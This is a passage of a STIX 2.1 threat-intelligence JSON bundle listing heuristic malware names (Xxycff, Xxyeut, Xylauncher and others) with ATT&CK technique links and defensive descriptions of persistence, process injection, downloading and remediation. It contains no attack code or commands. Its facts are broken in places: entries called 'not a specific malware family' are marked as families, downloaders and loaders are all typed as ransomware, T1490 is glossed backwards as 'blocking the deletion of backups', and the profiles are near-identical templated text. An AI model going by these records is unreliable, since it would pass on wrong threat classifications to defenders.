      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycec exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34d43263-17c2-52ff-ab95-316b3e408fb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--548a8ac3-5117-5e60-a773-0d88623d8efa",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycec exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f74be992-187c-5120-a095-fba2a4111683",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--548a8ac3-5117-5e60-a773-0d88623d8efa",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycec exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6a127e23-0eba-5396-b290-9a89a6f6ed40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xxycff",
      "description": "<h3>Executive Summary</h3>\n\"Xxycff\" represents a generic threat identifier generated by heuristic analysis engines within endpoint protection platforms (EPP). It does not denote a specific malware family, but rather flags an executable file that displays behavioral patterns strongly associated with malicious activity, such as droppers, trojans, or ransomware precursors.\n\n<h3>Behavioral Analysis and Triggers</h3>\nSecurity vendors utilize automated naming conventions like \"Xxycff\" when a file fails behavioral reputation checks but lacks a definitive signature. \n\nFiles assigned the Xxycff identifier frequently exhibit the following anomalous behaviors:\n<ul>\n<li><strong>Persistence Mechanisms:</strong> Attempting to silently modify critical Windows Registry keys (e.g., `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`) or create hidden Scheduled Tasks to ensure the program executes automatically upon system boot.</li>\n<li><strong>Defense Evasion:</strong> Actively attempting to disable Windows Defender, terminate EDR agent processes, or unhook user-mode APIs utilized by security software for monitoring.</li>\n<li><strong>Dropper Activity:</strong> Writing executable files (`.exe`, `.dll`) into temporary directories (`%TEMP%` or `%AppData%`) and subsequently executing them, which is a classic indicator of a primary payload being delivered.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nAn Xxycff detection is a high-severity alert. Because the true nature of the threat is obfuscated, responders must assume the worst-case scenario: that the file is an initial access broker attempting to establish a beachhead for a larger, targeted attack on the enterprise network.\n\n<h3>Remediation and Mitigation</h3>\n<ul>\n<li><strong>Endpoint Isolation:</strong> Sever the affected machine's network connection immediately (either physically or via the EDR console) to halt any potential command-and-control (C2) communication.</li>\n<li><strong>Forensic Investigation:</strong> Capture a memory dump and disk image of the isolated host to determine exactly what the file attempted to execute, focusing on identifying the secondary payload.</li>\n<li><strong>IOC Blocking:</strong> Extract the file hash (SHA-256) and any network indicators observed during the alert, and proactively block them across all enterprise firewalls and endpoint security tools.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Xxycff",
        "Generic.Xxycff",
        "Suspicious.Xxycff"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xxycff",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xxycff"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37cb1311-0086-5227-853b-f032fc113af3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a127e23-0eba-5396-b290-9a89a6f6ed40",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycff exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd82f747-da5a-5035-9e16-07273a2c161b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a127e23-0eba-5396-b290-9a89a6f6ed40",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycff exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--125591ad-2525-5fd5-9ab6-0845b390133d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a127e23-0eba-5396-b290-9a89a6f6ed40",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycff exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d19cf4b6-3e3c-579a-bc6c-09200e387200",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a127e23-0eba-5396-b290-9a89a6f6ed40",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycff exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68a18ad4-8dd6-5ce7-993a-2dba160ffe20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a127e23-0eba-5396-b290-9a89a6f6ed40",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycff exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e6554c6e-3080-5a29-b650-d35537c7919f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xxychs",
      "description": "<h3>Executive Summary</h3>\n\"Xxychs\" represents a generic threat identifier generated by heuristic analysis engines within endpoint protection platforms (EPP). It does not denote a specific malware family, but rather flags an executable file that displays behavioral patterns strongly associated with malicious activity, such as droppers, trojans, or ransomware precursors.\n\n<h3>Behavioral Analysis and Triggers</h3>\nSecurity vendors utilize automated naming conventions like \"Xxychs\" when a file fails behavioral reputation checks but lacks a definitive signature. \n\nFiles assigned the Xxychs identifier frequently exhibit the following anomalous behaviors:\n<ul>\n<li><strong>Persistence Mechanisms:</strong> Attempting to silently modify critical Windows Registry keys (e.g., `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`) or create hidden Scheduled Tasks to ensure the program executes automatically upon system boot.</li>\n<li><strong>Defense Evasion:</strong> Actively attempting to disable Windows Defender, terminate EDR agent processes, or unhook user-mode APIs utilized by security software for monitoring.</li>\n<li><strong>Dropper Activity:</strong> Writing executable files (`.exe`, `.dll`) into temporary directories (`%TEMP%` or `%AppData%`) and subsequently executing them, which is a classic indicator of a primary payload being delivered.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nAn Xxychs detection is a high-severity alert. Because the true nature of the threat is obfuscated, responders must assume the worst-case scenario: that the file is an initial access broker attempting to establish a beachhead for a larger, targeted attack on the enterprise network.\n\n<h3>Remediation and Mitigation</h3>\n<ul>\n<li><strong>Endpoint Isolation:</strong> Sever the affected machine's network connection immediately (either physically or via the EDR console) to halt any potential command-and-control (C2) communication.</li>\n<li><strong>Forensic Investigation:</strong> Capture a memory dump and disk image of the isolated host to determine exactly what the file attempted to execute, focusing on identifying the secondary payload.</li>\n<li><strong>IOC Blocking:</strong> Extract the file hash (SHA-256) and any network indicators observed during the alert, and proactively block them across all enterprise firewalls and endpoint security tools.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Xxychs",
        "Generic.Xxychs",
        "Suspicious.Xxychs"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xxychs",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xxychs"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d79205f-d0de-5930-ba36-5aa32a86ec5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e6554c6e-3080-5a29-b650-d35537c7919f",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxychs exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59789927-0157-5202-8669-6f378b294ba8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e6554c6e-3080-5a29-b650-d35537c7919f",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxychs exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b1eca4b-4606-5b77-a175-cb76779d5555",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e6554c6e-3080-5a29-b650-d35537c7919f",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxychs exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d312f49-4b87-5a23-9118-d289b8585ad7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e6554c6e-3080-5a29-b650-d35537c7919f",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxychs exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f7f0dfa-7c50-586f-bdbf-dc4a0055a2f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e6554c6e-3080-5a29-b650-d35537c7919f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxychs exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e411947b-904d-53b6-9e1d-d1483b131819",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xxyeut",
      "description": "<h3>Executive Summary</h3>\nXxyeut is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nXxyeut is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Xxyeut operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Xxyeut ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Xxyeut receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Xxyeut infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Xxyeut executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Xxyeut frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Xxyeut",
        "Downloader.Xxyeut",
        "Win32/Xxyeut"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xxyeut",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xxyeut"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e61c16f4-9f7e-5624-9749-94286dde36d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e411947b-904d-53b6-9e1d-d1483b131819",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxyeut exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8cd66158-5e2c-5136-8685-d2940179f629",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e411947b-904d-53b6-9e1d-d1483b131819",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxyeut exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17d02471-1a08-5d39-9f23-ebfce2b155ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e411947b-904d-53b6-9e1d-d1483b131819",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxyeut exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3bca02ef-c0f4-5180-bdfd-93c1fdd19f12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xxyfhz",
      "description": "<h3>Executive Summary</h3>\n\"xxyfhz\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention (which appears as random, machine-generated gibberish) strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis or machine-learning model, indicating a severe attempt by the malware to evade static signature detection.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> xxyfhz typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.xxyfhz",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xxyfhz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xxyfhz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62ee8a56-e824-5a14-9385-a98f66d31c51",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3bca02ef-c0f4-5180-bdfd-93c1fdd19f12",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxyfhz exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c20974c7-d513-55f2-a117-752e07d53de9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3bca02ef-c0f4-5180-bdfd-93c1fdd19f12",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxyfhz exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5cd0472a-e2f6-553b-acdb-6f12b35d8583",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3bca02ef-c0f4-5180-bdfd-93c1fdd19f12",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxyfhz exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a69e920-5002-5018-a18f-dc91a9f4c547",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3bca02ef-c0f4-5180-bdfd-93c1fdd19f12",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxyfhz exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--754d3c0e-a3d7-5e2e-99c2-6cfc5744d166",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xxyheo",
      "description": "Trojan:Win32/Xxyheo is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Xxyheo</b><br>To an end-user, a Xxyheo infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Xxyheo is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Xxyheo is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Xxyheo frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Xxyheo reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xxyheo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xxyheo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00779026-8cc8-5b46-b08d-62d496e688fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--754d3c0e-a3d7-5e2e-99c2-6cfc5744d166",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxyheo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22263340-5363-5f5a-a3f4-97eda3efc991",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--754d3c0e-a3d7-5e2e-99c2-6cfc5744d166",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxyheo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f086e774-a118-52dd-9785-2ada2ba04844",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--754d3c0e-a3d7-5e2e-99c2-6cfc5744d166",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxyheo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd2c613b-ad4e-5175-9535-57d2639b4d27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--754d3c0e-a3d7-5e2e-99c2-6cfc5744d166",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxyheo exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1794a91-edcb-5737-8ca8-929821fbf788",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--754d3c0e-a3d7-5e2e-99c2-6cfc5744d166",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxyheo exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c54af30c-91b9-5329-b9b1-23e3095448f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xylauncher",
      "description": "TrojanDownloader:Win32/Xylauncher is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Xylauncher</b><br>To an end-user, a Xylauncher infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Xylauncher is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Xylauncher is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Xylauncher frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Xylauncher reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xylauncher",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xylauncher"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f93f1d2d-1200-5fad-a77c-bb95b9f16925",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c54af30c-91b9-5329-b9b1-23e3095448f7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xylauncher exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60f4fba6-d477-5f20-b540-1a52c2d9a910",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c54af30c-91b9-5329-b9b1-23e3095448f7",
